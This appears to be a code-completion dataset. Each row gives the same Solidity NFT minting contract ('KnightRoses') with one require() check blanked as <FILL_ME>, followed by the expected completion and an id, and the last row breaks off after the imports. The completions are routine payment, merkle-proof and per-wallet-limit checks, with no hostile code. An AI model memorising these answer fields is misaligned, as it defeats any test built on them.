require(totalSupply() + _amountOfKnight <= MAX_SALE_SUPPLY, "Reached Max Supply");
require(<FILL_ME>)
if (saleState == Stage.KnightList) {
require(_knightListMerkleRoot != "", "Knight Claim merkle tree not set. This address is not allowed to mint");
require(MerkleProof.verify(_proof, _knightListMerkleRoot,
keccak256(abi.encodePacked(msg.sender))),
"KnightList claim validation failed.");
_knightListMint(_amountOfKnight);
}
if (saleState == Stage.Public) {
_publicMint(_amountOfKnight);
}
if (saleState == Stage.KnightVIP) {
revert("I'm sorry you're out of time");
}
}
function _publicMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function _knightListMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function mintVIP(uint8 _amountOfKnight) public mintIsOpen nonReentrant{
}
////////////////////
// OWNER FUNCTIONS //
////////////////////
function setMaxByWalletPerPublic(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxByWalletPerKnightSale(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxVipListRedemptions(
address[] calldata _addresses,
uint8 _redemptions
) external onlyOwner {
}
function setKnightListMerkleRoot(bytes32 newMerkleRoot_) external onlyOwner {
}
function setStage(Stage _saleState) public onlyOwner {
}
function setReveal(bool _setReveal) public onlyOwner {
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reserveMint(address to, uint8 _amountOfKnight) public onlyOwner nonReentrant mintIsOpen{
}
function airdrop(
address[] calldata _addresses,
uint8 _amountOfKnight
) external onlyOwner nonReentrant mintIsOpen {
}
function withdraw() public onlyOwner nonReentrant {
}
////////////////////
// OVERRIDES //
////////////////////
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721A, IERC721A)
returns (string memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/******************** READ ********************/
function numberMinted(address owner) public view returns (uint256) {
}
function nextTokenId() public view returns (uint256) {
}
function baseURI() public view returns (string memory) {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function toString(uint256 x) public pure returns (string memory) {
}
function getOwnershipOf(uint256 index) public view returns (TokenOwnership memory) {
}
function getOwnershipAt(uint256 index) public view returns (TokenOwnership memory) {
}
function totalMinted() public view returns (uint256) {
}
function totalBurned() public view returns (uint256) {
}
function numberBurned(address owner) public view returns (uint256) {
}
function getAvailableForMintByCurrentStage(address checkedAddress) public view returns (uint8) {
}
function checkVipList(address checkedAddress) public view returns (address, uint8) {
}
/******************** MODIFIERS ********************/
modifier mintIsOpen() {
}
modifier nonContract() {
}
//////////////////////
// GETTER FUNCTIONS //
//////////////////////
/**
* @notice Unpack and get number of viplist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsVipList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsKnightList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsPublic() private view returns (uint8) {
}
//////////////////////
// HELPER FUNCTIONS //
//////////////////////
/**
* @notice Pack three uint8s (viplist, allowlist and public redemptions) into a single uint24 value
* @return Packed value
* @dev Performs shift and bit operations to pack two uint8s into a single uint24
*/
function packMintRedemptions(
uint8 _vipMintRedemptions,
uint8 _knightListMintRedemptions,
uint8 _publicMintRedemptions
) private pure returns (uint24) {
}
/**
* @notice Unpack a single uint24 value into thr uint8s (vip, knightList and public redemptions)
* @return vipMintRedemptions knightListMintRedemptions publicMintRedemptions Unpacked values
* @dev Performs shift and bit operations to unpack a single uint64 into two uint32s
*/
function unpackMintRedemptions(uint64 _mintRedemptionPack)
private
pure
returns (uint8 vipMintRedemptions, uint8 knightListMintRedemptions, uint8 publicMintRedemptions)
{
}
/**
* @notice Increment number of viplist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsVipList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of knightlist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public redemptions) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsKnightList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of public token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsPublic(uint8 _numToIncrement) private {
}
/**
* @notice Prevent accidental ETH transfer
*/
fallback() external payable {
}
/**
* @notice Prevent accidental ETH transfer
*/
receive() external payable {
}
}
/**
* Function not implemented
*/
error NotImplemented();
| MINT_PRICE*_amountOfKnight<=msg.value,"Ether value sent is not correct" | 183,049 | MINT_PRICE*_amountOfKnight<=msg.value |
"Knight Claim merkle tree not set. This address is not allowed to mint" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "../node_modules/@openzeppelin/contracts/access/Ownable.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "../node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../node_modules/@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./ERC721A.sol";
import "./extensions/ERC721AQueryable.sol";
contract KnightRoses is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5005;
uint256 public constant MAX_SALE_SUPPLY = 4800;
uint256 public constant MINT_PRICE = 0.03 ether;
uint8 public maxByWalletPerPublic = 5;
uint8 public maxByWalletPerKnightSale = 1;
enum Stage {
SaleClosed,
KnightVIP,
KnightList,
Public
}
Stage public saleState = Stage.SaleClosed;
string public baseTokenURI;
string public notRevealedUri;
string public baseExtension = ".json";
bool public revealed = false;
mapping(address => uint8) private _vipList;
bytes32 private _knightListMerkleRoot;
constructor() ERC721A("Knight&Roses", "Knights") {}
////////////////////
// MINT FUNCTIONS //
////////////////////
function mint(uint8 _amountOfKnight, bytes32[] memory _proof) public payable mintIsOpen nonContract nonReentrant{
require(totalSupply() + _amountOfKnight <= MAX_SALE_SUPPLY, "Reached Max Supply");
require(MINT_PRICE * _amountOfKnight <= msg.value, "Ether value sent is not correct");
if (saleState == Stage.KnightList) {
require(<FILL_ME>)
require(MerkleProof.verify(_proof, _knightListMerkleRoot,
keccak256(abi.encodePacked(msg.sender))),
"KnightList claim validation failed.");
_knightListMint(_amountOfKnight);
}
if (saleState == Stage.Public) {
_publicMint(_amountOfKnight);
}
if (saleState == Stage.KnightVIP) {
revert("I'm sorry you're out of time");
}
}
function _publicMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function _knightListMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function mintVIP(uint8 _amountOfKnight) public mintIsOpen nonReentrant{
}
////////////////////
// OWNER FUNCTIONS //
////////////////////
function setMaxByWalletPerPublic(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxByWalletPerKnightSale(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxVipListRedemptions(
address[] calldata _addresses,
uint8 _redemptions
) external onlyOwner {
}
function setKnightListMerkleRoot(bytes32 newMerkleRoot_) external onlyOwner {
}
function setStage(Stage _saleState) public onlyOwner {
}
function setReveal(bool _setReveal) public onlyOwner {
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reserveMint(address to, uint8 _amountOfKnight) public onlyOwner nonReentrant mintIsOpen{
}
function airdrop(
address[] calldata _addresses,
uint8 _amountOfKnight
) external onlyOwner nonReentrant mintIsOpen {
}
function withdraw() public onlyOwner nonReentrant {
}
////////////////////
// OVERRIDES //
////////////////////
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721A, IERC721A)
returns (string memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/******************** READ ********************/
function numberMinted(address owner) public view returns (uint256) {
}
function nextTokenId() public view returns (uint256) {
}
function baseURI() public view returns (string memory) {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function toString(uint256 x) public pure returns (string memory) {
}
function getOwnershipOf(uint256 index) public view returns (TokenOwnership memory) {
}
function getOwnershipAt(uint256 index) public view returns (TokenOwnership memory) {
}
function totalMinted() public view returns (uint256) {
}
function totalBurned() public view returns (uint256) {
}
function numberBurned(address owner) public view returns (uint256) {
}
function getAvailableForMintByCurrentStage(address checkedAddress) public view returns (uint8) {
}
function checkVipList(address checkedAddress) public view returns (address, uint8) {
}
/******************** MODIFIERS ********************/
modifier mintIsOpen() {
}
modifier nonContract() {
}
//////////////////////
// GETTER FUNCTIONS //
//////////////////////
/**
* @notice Unpack and get number of viplist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsVipList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsKnightList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsPublic() private view returns (uint8) {
}
//////////////////////
// HELPER FUNCTIONS //
//////////////////////
/**
* @notice Pack three uint8s (viplist, allowlist and public redemptions) into a single uint24 value
* @return Packed value
* @dev Performs shift and bit operations to pack two uint8s into a single uint24
*/
function packMintRedemptions(
uint8 _vipMintRedemptions,
uint8 _knightListMintRedemptions,
uint8 _publicMintRedemptions
) private pure returns (uint24) {
}
/**
* @notice Unpack a single uint24 value into thr uint8s (vip, knightList and public redemptions)
* @return vipMintRedemptions knightListMintRedemptions publicMintRedemptions Unpacked values
* @dev Performs shift and bit operations to unpack a single uint64 into two uint32s
*/
function unpackMintRedemptions(uint64 _mintRedemptionPack)
private
pure
returns (uint8 vipMintRedemptions, uint8 knightListMintRedemptions, uint8 publicMintRedemptions)
{
}
/**
* @notice Increment number of viplist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsVipList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of knightlist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public redemptions) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsKnightList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of public token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsPublic(uint8 _numToIncrement) private {
}
/**
* @notice Prevent accidental ETH transfer
*/
fallback() external payable {
}
/**
* @notice Prevent accidental ETH transfer
*/
receive() external payable {
}
}
/**
* Function not implemented
*/
error NotImplemented();
| _knightListMerkleRoot!="","Knight Claim merkle tree not set. This address is not allowed to mint" | 183,049 | _knightListMerkleRoot!="" |
"KnightList claim validation failed." | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "../node_modules/@openzeppelin/contracts/access/Ownable.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "../node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../node_modules/@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./ERC721A.sol";
import "./extensions/ERC721AQueryable.sol";
contract KnightRoses is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5005;
uint256 public constant MAX_SALE_SUPPLY = 4800;
uint256 public constant MINT_PRICE = 0.03 ether;
uint8 public maxByWalletPerPublic = 5;
uint8 public maxByWalletPerKnightSale = 1;
enum Stage {
SaleClosed,
KnightVIP,
KnightList,
Public
}
Stage public saleState = Stage.SaleClosed;
string public baseTokenURI;
string public notRevealedUri;
string public baseExtension = ".json";
bool public revealed = false;
mapping(address => uint8) private _vipList;
bytes32 private _knightListMerkleRoot;
constructor() ERC721A("Knight&Roses", "Knights") {}
////////////////////
// MINT FUNCTIONS //
////////////////////
function mint(uint8 _amountOfKnight, bytes32[] memory _proof) public payable mintIsOpen nonContract nonReentrant{
require(totalSupply() + _amountOfKnight <= MAX_SALE_SUPPLY, "Reached Max Supply");
require(MINT_PRICE * _amountOfKnight <= msg.value, "Ether value sent is not correct");
if (saleState == Stage.KnightList) {
require(_knightListMerkleRoot != "", "Knight Claim merkle tree not set. This address is not allowed to mint");
require(<FILL_ME>)
_knightListMint(_amountOfKnight);
}
if (saleState == Stage.Public) {
_publicMint(_amountOfKnight);
}
if (saleState == Stage.KnightVIP) {
revert("I'm sorry you're out of time");
}
}
function _publicMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function _knightListMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function mintVIP(uint8 _amountOfKnight) public mintIsOpen nonReentrant{
}
////////////////////
// OWNER FUNCTIONS //
////////////////////
function setMaxByWalletPerPublic(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxByWalletPerKnightSale(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxVipListRedemptions(
address[] calldata _addresses,
uint8 _redemptions
) external onlyOwner {
}
function setKnightListMerkleRoot(bytes32 newMerkleRoot_) external onlyOwner {
}
function setStage(Stage _saleState) public onlyOwner {
}
function setReveal(bool _setReveal) public onlyOwner {
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reserveMint(address to, uint8 _amountOfKnight) public onlyOwner nonReentrant mintIsOpen{
}
function airdrop(
address[] calldata _addresses,
uint8 _amountOfKnight
) external onlyOwner nonReentrant mintIsOpen {
}
function withdraw() public onlyOwner nonReentrant {
}
////////////////////
// OVERRIDES //
////////////////////
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721A, IERC721A)
returns (string memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/******************** READ ********************/
function numberMinted(address owner) public view returns (uint256) {
}
function nextTokenId() public view returns (uint256) {
}
function baseURI() public view returns (string memory) {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function toString(uint256 x) public pure returns (string memory) {
}
function getOwnershipOf(uint256 index) public view returns (TokenOwnership memory) {
}
function getOwnershipAt(uint256 index) public view returns (TokenOwnership memory) {
}
function totalMinted() public view returns (uint256) {
}
function totalBurned() public view returns (uint256) {
}
function numberBurned(address owner) public view returns (uint256) {
}
function getAvailableForMintByCurrentStage(address checkedAddress) public view returns (uint8) {
}
function checkVipList(address checkedAddress) public view returns (address, uint8) {
}
/******************** MODIFIERS ********************/
modifier mintIsOpen() {
}
modifier nonContract() {
}
//////////////////////
// GETTER FUNCTIONS //
//////////////////////
/**
* @notice Unpack and get number of viplist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsVipList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsKnightList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsPublic() private view returns (uint8) {
}
//////////////////////
// HELPER FUNCTIONS //
//////////////////////
/**
* @notice Pack three uint8s (viplist, allowlist and public redemptions) into a single uint24 value
* @return Packed value
* @dev Performs shift and bit operations to pack two uint8s into a single uint24
*/
function packMintRedemptions(
uint8 _vipMintRedemptions,
uint8 _knightListMintRedemptions,
uint8 _publicMintRedemptions
) private pure returns (uint24) {
}
/**
* @notice Unpack a single uint24 value into thr uint8s (vip, knightList and public redemptions)
* @return vipMintRedemptions knightListMintRedemptions publicMintRedemptions Unpacked values
* @dev Performs shift and bit operations to unpack a single uint64 into two uint32s
*/
function unpackMintRedemptions(uint64 _mintRedemptionPack)
private
pure
returns (uint8 vipMintRedemptions, uint8 knightListMintRedemptions, uint8 publicMintRedemptions)
{
}
/**
* @notice Increment number of viplist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsVipList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of knightlist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public redemptions) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsKnightList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of public token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsPublic(uint8 _numToIncrement) private {
}
/**
* @notice Prevent accidental ETH transfer
*/
fallback() external payable {
}
/**
* @notice Prevent accidental ETH transfer
*/
receive() external payable {
}
}
/**
* Function not implemented
*/
error NotImplemented();
| MerkleProof.verify(_proof,_knightListMerkleRoot,keccak256(abi.encodePacked(msg.sender))),"KnightList claim validation failed." | 183,049 | MerkleProof.verify(_proof,_knightListMerkleRoot,keccak256(abi.encodePacked(msg.sender))) |
"Exceeded max available to purchase" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "../node_modules/@openzeppelin/contracts/access/Ownable.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "../node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../node_modules/@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./ERC721A.sol";
import "./extensions/ERC721AQueryable.sol";
contract KnightRoses is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5005;
uint256 public constant MAX_SALE_SUPPLY = 4800;
uint256 public constant MINT_PRICE = 0.03 ether;
uint8 public maxByWalletPerPublic = 5;
uint8 public maxByWalletPerKnightSale = 1;
enum Stage {
SaleClosed,
KnightVIP,
KnightList,
Public
}
Stage public saleState = Stage.SaleClosed;
string public baseTokenURI;
string public notRevealedUri;
string public baseExtension = ".json";
bool public revealed = false;
mapping(address => uint8) private _vipList;
bytes32 private _knightListMerkleRoot;
constructor() ERC721A("Knight&Roses", "Knights") {}
////////////////////
// MINT FUNCTIONS //
////////////////////
function mint(uint8 _amountOfKnight, bytes32[] memory _proof) public payable mintIsOpen nonContract nonReentrant{
}
function _publicMint(uint8 _amountOfKnight) internal mintIsOpen {
require(saleState == Stage.Public, "Public mint is not open yet!");
require(<FILL_ME>)
incrementRedemptionsPublic(_amountOfKnight);
_safeMint(msg.sender, _amountOfKnight);
}
function _knightListMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function mintVIP(uint8 _amountOfKnight) public mintIsOpen nonReentrant{
}
////////////////////
// OWNER FUNCTIONS //
////////////////////
function setMaxByWalletPerPublic(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxByWalletPerKnightSale(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxVipListRedemptions(
address[] calldata _addresses,
uint8 _redemptions
) external onlyOwner {
}
function setKnightListMerkleRoot(bytes32 newMerkleRoot_) external onlyOwner {
}
function setStage(Stage _saleState) public onlyOwner {
}
function setReveal(bool _setReveal) public onlyOwner {
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reserveMint(address to, uint8 _amountOfKnight) public onlyOwner nonReentrant mintIsOpen{
}
function airdrop(
address[] calldata _addresses,
uint8 _amountOfKnight
) external onlyOwner nonReentrant mintIsOpen {
}
function withdraw() public onlyOwner nonReentrant {
}
////////////////////
// OVERRIDES //
////////////////////
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721A, IERC721A)
returns (string memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/******************** READ ********************/
function numberMinted(address owner) public view returns (uint256) {
}
function nextTokenId() public view returns (uint256) {
}
function baseURI() public view returns (string memory) {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function toString(uint256 x) public pure returns (string memory) {
}
function getOwnershipOf(uint256 index) public view returns (TokenOwnership memory) {
}
function getOwnershipAt(uint256 index) public view returns (TokenOwnership memory) {
}
function totalMinted() public view returns (uint256) {
}
function totalBurned() public view returns (uint256) {
}
function numberBurned(address owner) public view returns (uint256) {
}
function getAvailableForMintByCurrentStage(address checkedAddress) public view returns (uint8) {
}
function checkVipList(address checkedAddress) public view returns (address, uint8) {
}
/******************** MODIFIERS ********************/
modifier mintIsOpen() {
}
modifier nonContract() {
}
//////////////////////
// GETTER FUNCTIONS //
//////////////////////
/**
* @notice Unpack and get number of viplist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsVipList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsKnightList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsPublic() private view returns (uint8) {
}
//////////////////////
// HELPER FUNCTIONS //
//////////////////////
/**
* @notice Pack three uint8s (viplist, allowlist and public redemptions) into a single uint24 value
* @return Packed value
* @dev Performs shift and bit operations to pack two uint8s into a single uint24
*/
function packMintRedemptions(
uint8 _vipMintRedemptions,
uint8 _knightListMintRedemptions,
uint8 _publicMintRedemptions
) private pure returns (uint24) {
}
/**
* @notice Unpack a single uint24 value into thr uint8s (vip, knightList and public redemptions)
* @return vipMintRedemptions knightListMintRedemptions publicMintRedemptions Unpacked values
* @dev Performs shift and bit operations to unpack a single uint64 into two uint32s
*/
function unpackMintRedemptions(uint64 _mintRedemptionPack)
private
pure
returns (uint8 vipMintRedemptions, uint8 knightListMintRedemptions, uint8 publicMintRedemptions)
{
}
/**
* @notice Increment number of viplist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsVipList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of knightlist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public redemptions) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsKnightList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of public token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsPublic(uint8 _numToIncrement) private {
}
/**
* @notice Prevent accidental ETH transfer
*/
fallback() external payable {
}
/**
* @notice Prevent accidental ETH transfer
*/
receive() external payable {
}
}
/**
* Function not implemented
*/
error NotImplemented();
| getRedemptionsPublic()+_amountOfKnight<=maxByWalletPerPublic,"Exceeded max available to purchase" | 183,049 | getRedemptionsPublic()+_amountOfKnight<=maxByWalletPerPublic |
"Exceeded max available to purchase" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "../node_modules/@openzeppelin/contracts/access/Ownable.sol";
